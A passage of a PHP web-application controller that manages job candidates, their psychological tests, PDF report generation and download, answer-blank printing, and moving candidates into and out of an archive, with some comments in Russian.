		vendor('contingencies');
		vendor('order_html');
		vendor('pagination_html');
		vendor('page_of_data');

		$contingencies = new Contingencies();
        $contingencies->model =& $this->{$modelName};
        $contingencies->expects = 'Group';

        /////////////////////////////////////////////////////////////
        $ses_war_name = __CLASS__.':'.__FUNCTION__.'_filter';
        if (!empty($this->data['Filter'])) {
            if (!empty($this->data['Filter']['submit_reset'])) {
                unset($_SESSION[$ses_war_name]);
                unset($this->data['Filter']);
            } elseif (!empty($this->data['Filter']['submit_apply'])) {
                $_SESSION[$ses_war_name] = $this->data['Filter'];
            }
        }
        $filter = isset($_SESSION[$ses_war_name]) ? $_SESSION[$ses_war_name] : array();
        if (!isset($filter['searche_all'])) {
        	$filter['searche_all'] = true;
        }
        if (Auth::o()->is('admin') || Auth::o()->is('ARCHIVE')) {
    		if (!isset($filter['archived'])) {
                $filter['archived'] = 'N';
            }
        } else {
            $filter['archived'] = 'N';
        }
        if (empty($this->data['Filter'])) {
            $this->data['Filter'] = $filter;
        }
        $this->set('filter', $filter);
        /////////////////////////////////////////////////////////////
		$conds = array();
        if (!empty($filter['searche'])) {
            $searche_fields = array(
                "`{$modelName}`.`name`",
                "`{$modelName}`.`name_latin`",
                "`{$modelName}`.`surname`",
                "`{$modelName}`.`surname_latin`",
                "`{$modelName}`.`email`",
                "`Group`.`name`",
            );
            $searche_fields_name = array(
                $modelName => array(
                    "name",
                    "name_latin",
                    "surname",
                    "surname_latin",
                    "email",
                ),
                "Group" => array("name"),
            );
            $searche_params = array(
                'entirely'  => !empty($filter['searche_entirely']),
                'all'       => !empty($filter['searche_all']),
                'sequence'  => !empty($filter['searche_sequence']),
                'grouping'  => 'words', // chars
                'words'     => false,
            );
            $conds[] = $this->{$modelName}->searcheCond($filter['searche'], $searche_fields, $searche_params);
        }
		////////////////////////////////////////////////////////////////////////
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::getUser()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        if (!empty($filter['archived'])) {
            $conds[]["`{$modelName}`.`archived`"] = "=".($filter['archived']);
        }
        $contingencies->conditions =& $conds;
		////////////////////////////////////////////////////////////////////////

        $appearence = new OrderHTML();
        $appearence->orderFields = array(
            'id' => "`{$modelName}`.`{$PKName}`",
            'surname' => "`{$modelName}`.`surname`",
            'name' => "`{$modelName}`.`name`",
            'group' => "`Group`.`name`",
            'created' => "`{$modelName}`.`created`",
            'email' => "`{$modelName}`.`email`",
        );
        $appearence->defaultOrder = Order::parseString('surname');
        $appearence->processParams();

        $pagination = new PaginationHTML();
        $pagination->ns = __CLASS__.':'.__FUNCTION__;
        $pagination->defaultLimit = 20;
        $pagination->processParams();

        $list = new PageOfData($contingencies, $appearence, $pagination);

        if (!empty($filter['searche'])) {
            foreach ($list->rows as &$row) {
                foreach ($searche_fields_name as $_model_name => $_fields) {
                	$this->{$modelName}->hightlightSearche($row[$_model_name], $filter['searche'], $_fields, $searche_params);
                }
            }
        }

        $this->set('sexes_list', Application::config()->getSexesList());
        $this->set('educations_list', $this->{$modelName}->getModel('Education')->generateList());
        $this->set('ages_list', $this->{$modelName}->getModel('Age')->generateList());
        $this->set('regions_list', $this->{$modelName}->getModel('Region')->generateList());
        $this->set('positions_list', $this->{$modelName}->getModel('Position')->generateList());
        $this->set('seniorities_list', $this->{$modelName}->getModel('Seniority')->generateList());
        $this->set('candidate_groups_list', $this->{$modelName}->getModel('CandidateGroup')->generateList());

		$this->set('list', $list);
	}

	function report()
	{
        Auth::Access('active');
        Auth::Access('admin | REPORTS | EMAIL_ON_REPORT');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'reports';

		$this->set('url_part', $url_part);

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->set('mode', __FUNCTION__);
		$this->pageTitle = strip_tags(__d($po_domain, 'report_title', true));

	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

		if (empty($tmp[$modelName]) || empty($tmp['Group'])) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

		if (! $this->{$modelName}->allowReporting($tmp[$modelName])) {
			$this->msgError(__d($po_domain, 'impossible_create_report', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

	    $Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
	    $Testing->rel('Test.Reports');
	    $testings_conds = array();
	    $testings_conds[]["`Testing`.`candidate_id`"] = $id;
	    $testings_conds[]["`Testing`.`pass_status`"] = 'PASSED';
	    $tmp_testings = $Testing->findAll($testings_conds);
	    foreach ($tmp_testings as $item) {
	        $item['Testing']['Test'] = $item['Test'];
	        $tmp['Testings'][] = $item['Testing'];
	    }

		////// MENU ///////////////////////

	    $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

		///////////////////////////////////

		$submit = !empty($this->data);

		if ($submit) {
		    $return = true;
			$error_msg = '';
			$error_code = null;

            if (empty($error_msg)) {
            	// проверка, нет ли уже такого отчета. Если уже есть, то создавать не нужно.
            	$cond = array(
	            	'`Reporting`.`testing_id`' => $this->data[$modelName]['testing_id'],
					'`Reporting.`report_id`' => $this->data[$modelName]['report_id'],
					'`Reporting`.`norm_id`' => @$this->data[$modelName]['norm_id']
            	);
            	$Reporting =& $this->{$modelName}->getModel('Reporting'); /* @var $Reporting Reporting */
            	$Reporting->rel();
            	$result = $Reporting->find($cond);

            	if (empty($result)) {
	                try {
	                    $this->Operation->generateReport(
	                        $id,
	                        @$this->data[$modelName]['testing_id'],
	                        @$this->data[$modelName]['report_id'],
	                        @$this->data[$modelName]['norm_id']);
	    			} catch (ArgException $e) {
	    			    $error_code = $e->getCode();
	    				$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
	        		    $return = false;
	    			} catch (Exception $e) {
	    			    $error_code = $e->getCode();
	    			    if ($error_code == 1002) {
	    			        $error_code = null;
	            		    $error_msg = __d('passes', 'Insufficient balance'.(Auth::o()->is('admin') ? "_admin" : ""), true);
	    			    } else {
	    	    		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
	    			    }
	    			}
            	} else {
            		$error_msg = __d(null, 'You have already created this report. You only need to download it from the list below', true);
            		$this->Session->write('created_reporting_id', $result[$Reporting->name][$Reporting->primaryKey]);
            		$this->msgNotice($error_msg);
            		$this->redirect("/candidates/{$id}/reports", null, true);
    				exit();
            	}
            }
			if (empty($error_msg)) {
				if (Auth::o()->is('EMAIL_ON_REPORT') && ! Auth::o()->is('REPORTS')) {
                    $this->msgNotice(__d($po_domain, 'Report was genetared and will be sent', true));
	    			$this->redirect("/reports/", null, true);
	    			exit();
				}
            	$Reporting->rel();
            	$result = $Reporting->find(null, null, "`{$Reporting->name}`.`{$Reporting->primaryKey}` DESC");
        		$this->Session->write('created_reporting_id', $result[$Reporting->name][$Reporting->primaryKey]);

			    $this->msgNotice(__d($po_domain, 'Report has been generated', true));
    			$this->redirect("/candidates/{$id}/reports", null, true);
    			exit();
			} else {
			    $this->msgError($error_msg, @$error_code);
			    if ($return) {
        			$this->redirect("/{$url_part}/", null, true);
        			exit();
			    }
			}
		}

		$tmp[$modelName]['Group'] = $tmp['Group'];
		$this->set('candidate', $tmp[$modelName]);
		$this->set('testings_list', $tmp['Testings']);

		/**
		 * Для списка отчётов
		 */
		$Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */

		$Testing->rel('Test | Reportings.Report');
		$conds = array();
		$conds[]["`{$Testing->name}`.`candidate_id`"] = $id;
		$testings = $Testing->findAll($conds);

		$reportings = array();

		if (!empty($testings)) {
    		foreach ($testings as $item) {
                if (!empty($item['Reportings'])) {
                    foreach ($item['Reportings'] as $reporting) {
                        $reporting['Test'] = $item['Test'];
                        $reporting['Testing'] = $item['Testing'];
                        $reportings[] = $reporting;
                    }
                }
    		}
		}

		$Test =& $this->{$modelName}->getModel('Test'); /* @var $Test Test */

		foreach ($reportings as $k => $v) {
			if ($v['Test']['type'] == 'TEST') {
				$reportings[$k]['Norm'] = array('name' => $Test->getNorm($v['Test']['tool_file_name'], $v['Test']['tool_class_name'], $v['norm_id']));
			} else {
				$reportings[$k]['Norm'] = array('name' => __d($po_domain, 'reportings_norm_name', true).' '.$v['Test']['name']);
			}
		}

		$this->set('reportings', $reportings);
	}

	function reportings()
	{
        Auth::Access('active');
        Auth::Access('admin | REPORTS');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'reports';

		$this->set('url_part', $url_part);

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->pageTitle = strip_tags(__d($po_domain, 'reportings_title', true));

	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

		if (empty($tmp[$modelName]) || empty($tmp['Group'])) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}

		////// MENU ///////////////////////

	    $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

		///////////////////////////////////

		$Testing =& $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */

		$Testing->rel('Test | Reportings.Report');
		$conds = array();
		$conds[]["`{$Testing->name}`.`candidate_id`"] = $id;
		$testings = $Testing->findAll($conds);

		$reportings = array();

		if (!empty($testings)) {
    		foreach ($testings as $item) {
                if (!empty($item['Reportings'])) {
                    foreach ($item['Reportings'] as $reporting) {
                        $reporting['Test'] = $item['Test'];
                        $reporting['Testing'] = $item['Testing'];
                        $reportings[] = $reporting;
                    }
                }
    		}
		}

		$Test =& $this->{$modelName}->getModel('Test'); /* @var $Test Test */

		foreach ($reportings as $k => $v) {
			if ($v['Test']['type'] == 'TEST') {
				$reportings[$k]['Norm'] = array('name' => $Test->getNorm($v['Test']['tool_file_name'], $v['Test']['tool_class_name'], $v['norm_id']));
			} else {
				$reportings[$k]['Norm'] = array('name' => __d($po_domain, 'reportings_norm_name', true).' '.$v['Test']['name']);
			}
		}

		$tmp[$modelName]['Group'] = $tmp['Group'];
		$this->set('candidate', $tmp[$modelName]);
		$this->set('reportings', $reportings);

		if ($active_reporting = $this->Session->read('created_reporting_id')) {
    		$this->Session->delete('created_reporting_id');
    		$this->set('active_reporting_id', $active_reporting);
		}
	}

	function reporting()
	{
        Auth::Access('active');
        Auth::Access('admin | REPORTS');
	    $modelName = $this->modelName;
		$PKName    = $this->{$modelName}->primaryKey;
		$po_domain = $this->po_domain;
		$url_part  = Auth::o()->is('admin') ? $this->url_part : 'reports';

		$this->set('url_part', $url_part);

		if (!empty($this->data[$modelName]['submit_back'])) {
            $this->redirect("/{$url_part}/", null, true);
            exit();
	    }
		$this->pageTitle = strip_tags(__d($po_domain, 'reportings_title', true));

		$id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    } else {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
	    }

		$reporting_id = null;
	    if (isset($this->params['reporting_id'])) {
	        $reporting_id = $this->params['reporting_id'];
	    } else {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
	    }

        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel('Group');
	    $tmp = $this->{$modelName}->find($conds);

        if (empty($tmp[$modelName]) || empty($tmp['Group'])) {
                $this->msgError(__d($po_domain, 'absent', true), @$error_code);
                $this->redirect("/{$url_part}/", null, true);
                exit();
        }

        $Reporting = $this->{$modelName}->getModel('Reporting'); /* @var $Reporting Reporting */

        $Reporting->rel('Blob | Testing | Report | Testing.Test');
        $reporting = $Reporting->read(null, $reporting_id);
        if (empty($reporting['Reporting']) || empty($reporting['Blob'])) {
                $this->msgError(__d($po_domain, 'absent_reporting', true), @$error_code);
                $this->redirect("/{$url_part}/", null, true);
                exit();
        }

        $filename = "Report ".$reporting['Report']['name']." ".$reporting['Testing']['Test']['name']." ".$reporting['Reporting']['id'].".pdf";
        nodebug();

        $PDF = $reporting['Blob']['data'];
    	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: application/pdf; name=\"{$filename}\"");
		header("Content-Length: ".strlen($PDF));
        header("Content-Disposition: attachment; filename=\"{$filename}\"");

        exit($PDF);
	}

	function fill_in_tool()
	{
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;
        $url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';

        /**
         * Проверка параметров из URL (Сувчествует ли така страница?).
         */
        $id = null;
        if (isset($this->params['id'])) {
            $id = $this->params['id'];
        }
        if (empty($id)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/candidates/", null, true);
            exit();
        }
        $this->{$modelName}->rel();
        $conds = array();
        $conds[]["`{$modelName}`.`id`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data = Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data['client_id'];
        }
        $candidate = $this->{$modelName}->find($conds);
        $id = @$candidate[$modelName][$PKName];
        if (empty($id)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/candidates/", null, true);
            exit();
        }
        $testing_id = null;
        if (isset($this->params['testing_id'])) {
            $testing_id = $this->params['testing_id'];
        }
        if (empty($testing_id)) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools", null, true);
            exit();
        }
        $Testing = $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
        $conds = array();
        $conds[]["`Testing`.`candidate_id`"] = $id;
        $conds[]["`Testing`.`id`"] = $testing_id;
	    $conds[]["`Testing`.`pass_status`"] = '!=PASSED';
        $Testing->rel('Test | Candidate | Client');
        $testing = $Testing->find($conds);
        $testing_id = @$testing[$Testing->name][$Testing->primaryKey];
        if (empty($testing_id)) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools", null, true);
            exit();
        }
        /**
         * Конец проверки параметров.
         */
        $this->pageTitle = strip_tags(__d($po_domain, 'fill_in_from_blank', true));

		////// MENU ///////////////////////

	    $this->MainMenu->setActive($this->MainMenu->findItem("/{$url_part}/"));

		///////////////////////////////////

        $toolParams = $this->{$modelName}->getModel("Test")->getParamsFor($testing['Test']['name']);
        $this->set('blank_configuration', $toolParams);

        if (! empty($this->data)) {
            $error_msg = "";
            $success_msg = __d($po_domain, 'Answers have been saved', true);
            $answers = array();
            if (isset($this->data['answers']) && is_array($this->data['answers'])) {
                $answers = $this->data['answers'];
            }

            $notFilling = $this->{$modelName}->getModel("Test")->normalizeAnswersFor($testing["Test"]["name"], $answers);

            if (($testing["Test"]["type"] == "QUEST") && count($notFilling)) {
                $error_msg = __d('validation', 'answers_validation_error', null);
                $this->set('ivalid_questions', $notFilling);
            }
            $this->data = $testing;
            $this->data['answers'] = $answers;

            // Формирование ключа и апдейт записи в БД.
            if (empty($error_msg)) {
                $key_string = $this->{$modelName}->getModel("Test")->packAnswersToStringFor($this->data["Test"]["name"], $this->data['answers']);
                try
				{
					$this->Operation->fillInTest($testing['Testing']['candidate_id'], $testing['Testing']['id'], $key_string);
				}
				catch (ArgException $e)
				{
				    $error_code = $e->getCode();
					$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
	    		}
	    		catch (Exception $e)
	    		{
				    $error_code = $e->getCode();
    	    		$error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
    			}
            	if (empty($error_msg)) {
                    $this->msgNotice($success_msg);
                    // переходим на страницу назначения инструментов
                    $this->redirect("/candidates/{$id}/tools/", null, true);
                    exit;
            	} else {
                    $this->msgError($error_msg, @$error_code);
            	}
            } else {
                $this->msgError($error_msg, @$error_code);
            }
        } else {
            $this->data = $testing;
        }
	}

    function send_test_info()
    {
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');
        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;

        vendor('mail/mail');

        /**
         * Проверка параметров из URL (Сувчествует ли така страница?).
         */
        $id = null;
        if (isset($this->params['id'])) {
	        $id = $this->params['id'];
            $this->{$modelName}->rel('Client');
            $candidate = $this->{$modelName}->read(null, $id);

        }
        if (empty($id)) {
            $this->_error(404);
        }

        $testing_id = null;
        if (isset($this->params['testing_id'])) {
            $testing_id = $this->params['testing_id'];
        }
        if (empty($testing_id)) {
            $this->_error(404);
        }
        $Testing = $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
        $conds = array();
        $conds["`Testing`.`candidate_id`"] = $id;
        $conds["`Testing`.`id`"] = $testing_id;
        $conds["`Testing`.`pass_status`"] = 'READY';
        $conds["`Test`.`type`"] = 'QUEST';
        $Testing->rel('Test | Candidate');
        $testing = $Testing->find($conds);
        $testing_id = @$testing[$Testing->name][$Testing->primaryKey];
        if (empty($testing_id)) {
            $this->_error(404);
        }
        /**
         * Конец проверки параметров.
         */

        $params = array();
        $params['candidate'] = $candidate[$modelName];
        $params['client'] = $candidate['Client'];
        $params['testing'] = $testing[$Testing->name];
        $params['test'] = $testing['Test'];

        $error_msg = '';
        $success_msg = __d($po_domain, 'tool_is_sent_to_candidate', true);
        try {
            $this->{$modelName}->getModel('SendMail')->sendOfferOnTesting($params);
        } catch (ArgException $e) {
		    $error_code = $e->getCode();
			$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
        } catch (Exception $e) {
		    $error_code = $e->getCode();
		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
        }

        if (empty($error_msg)) {
            $this->msgNotice($success_msg);
        } else {
            $this->msgError($error_msg, @$error_code);
        }
        $this->redirect("/candidates/{$id}/tools/appointed/{$testing_id}", null, true);
        exit;
    }

    /**
     * Вывод PDF-бланка.
     *
     * Не имеет view!
     */
    function get_tool_blank()
    {
        Auth::Access('active');
  		Auth::Access('admin | CANDIDATES');
        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;
        $url_part  = Auth::o()->is('admin') ? $this->url_part : 'reports';

        /**
         * Проверка параметров из URL (Сувчествует ли така страница?).
         */
        $id = null;
        if (isset($this->params['id'])) {
            $id = $this->params['id'];
        }
        if (empty($id)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/candidates/", null, true);
            exit();
        }
        $this->{$modelName}->rel();
        $candidate = $this->{$modelName}->read(null, $id);
        $id = @$candidate[$modelName][$PKName];
        if (empty($id)) {
            $this->msgError(__d($po_domain, 'absent', true), @$error_code);
            $this->redirect("/candidates/", null, true);
            exit();
        }
        $testing_id = null;
        if (isset($this->params['testing_id'])) {
            $testing_id = $this->params['testing_id'];
        }
        if (empty($testing_id)) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools", null, true);
            exit();
        }
        $Testing = $this->{$modelName}->getModel('Testing'); /* @var $Testing Testing */
        $conds = array();
        $conds["`Testing`.`candidate_id`"] = $id;
        $conds["`Testing`.`id`"] = $testing_id;
        $Testing->rel('Test | Candidate.Age');
        $testing = $Testing->find($conds);
        $testing_id = @$testing[$Testing->name][$Testing->primaryKey];
        if (empty($testing_id)) {
            $this->msgError(__d($po_domain, 'Wrong tool', true), @$error_code);
            $this->redirect("/candidates/{$id}/tools", null, true);
            exit();
        }
        /**
         * Конец проверки параметров.
         */
 		$blankClassFileName = $testing['Test']['blank_file_name'];
		$blankClassName = $testing['Test']['blank_class_name'];

		if (vendor('blank/'.$blankClassFileName) && class_exists($blankClassName))
		{
            if ($testing['Testing']['blank_printed'] != "Y") {
    			try
    			{
    				$this->Operation->printBlank($testing['Testing']['candidate_id'], $testing['Testing']['id']);
    			}
    			catch (ArgException $e)
    			{
    			    $error_code = $e->getCode();
    				$error_msg = __d(null, 'Data are incorrectly entered.', true).' '.__d(null, 'Try again.', true);
        		    $return = false;
        		}
        		catch (Exception $e)
        		{
    			    $error_code = $e->getCode();
    		    	if ($error_code == 1002)
    		    	{
    		    	    $error_code = null;
            	    	$error_msg = __d('passes', 'Insufficient balance'.(Auth::o()->is('admin') ? "_admin" : ""), true);
    				}
    				else
    				{
        	    		$error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
        			}
    			}
		    }

			$filename = "form ".$testing['Test']['name'].' '.$testing['Testing']['id'].'.pdf';

			nodebug();

			$d=array();
			$d['sname'] = $testing['Candidate']['surname'];
			$d['gname'] = $testing['Candidate']['name'];
			$d['date'] = Date::Short(DATE::SQL2UNIX($testing['Testing']['date']));
			$d['age'] = $testing['Candidate']['Age']['range'];
			$d['gender'] = $testing['Candidate']['sex'];

			$b = new $blankClassName($d);

			$PDF = $b->draw();

        	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Content-Type: application/pdf; name=\"{$filename}\"");
			header("Content-Length: ".strlen($PDF));
	        header("Content-Disposition: attachment; filename=\"{$filename}\"");

	        exit($PDF);
		}
		else
		{
			$this->msgError(__d($po_domain, 'error_blank_file_not_found', true), @$error_code);
        	$this->redirect("/candidates/{$id}/tools/appointed/{$testing_id}", null, true);
	        exit;
		}
    }

    /**
     * Изъятие кандидата из архива.
     *
     * Не имеет view!
     */
    function fromarchive()
    {
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');

        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;
        $url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';
        $this->set('url_part', $url_part);

	    $id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }
		if (empty($id)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}
        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel();
	    $tmp = $this->{$modelName}->find($conds);

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
        	$this->redirect($this->referer());
			exit();
		}
        if (isset($this->params['id'])) {
            $id = $this->params['id'];
        }
        $data = array();
        $data[$modelName][$PKName] = $id;
        $data[$modelName]['archived'] = 'N';

        /////////////////////////////////////////////////////////////////////////////
		$error_msg = '';
		$success_msg = __d($po_domain, 'The candidate was removed from the archive', true);

		if (! $this->{$modelName}->save($data)) {
		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
		}

		if (!empty($error_msg)) {
		    $this->msgError($error_msg, @$error_code);
		}

		$this->msgNotice($success_msg);

    	$this->redirect($this->referer());
    	exit();
    }

    /**
     * Отправление кандидата в архив.
     *
     * Не имеет view!
     */
    function toarchive()
    {
        Auth::Access('active');
        Auth::Access('admin | CANDIDATES');

        $modelName = $this->modelName;
        $PKName    = $this->{$modelName}->primaryKey;
        $po_domain = $this->po_domain;
        $url_part  = Auth::o()->is('admin') ? $this->url_part : 'admining';
        $this->set('url_part', $url_part);

	    $id = null;
	    if (isset($this->params['id'])) {
	        $id = $this->params['id'];
	    }
		if (empty($id)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
			$this->redirect("/{$url_part}/", null, true);
			exit();
		}
        $conds = array();
        $conds[]["`{$modelName}`.`{$PKName}`"] = $id;
        if (Auth::o()->is('client_admin')) {
            $auth_data =& Auth::o()->data();
            $conds[]["`{$modelName}`.`client_id`"] = $auth_data["client_id"];
        }
        $this->{$modelName}->rel();
	    $tmp = $this->{$modelName}->find($conds);

		if (! is_array($tmp) || !count($tmp)) {
			$this->msgError(__d($po_domain, 'absent', true), @$error_code);
        	$this->redirect($this->referer());
			exit();
		}
        if (isset($this->params['id'])) {
            $id = $this->params['id'];
        }
        $data = array();
        $data[$modelName][$PKName] = $id;
        $data[$modelName]['archived'] = 'Y';

        /////////////////////////////////////////////////////////////////////////////
		$error_msg = '';
		$success_msg = __d($po_domain, 'The candidate was placed in the archives', true);

		if (! $this->{$modelName}->save($data)) {
		    $error_msg = __d(null, 'There was an internal error.', true).' '.__d(null, 'Try later.', true);
		}

		if (!empty($error_msg)) {
		    $this->msgError($error_msg, @$error_code);
		}

		$this->msgNotice($success_msg);

    	$this->redirect($this->referer());
    	exit();
    }
}

?>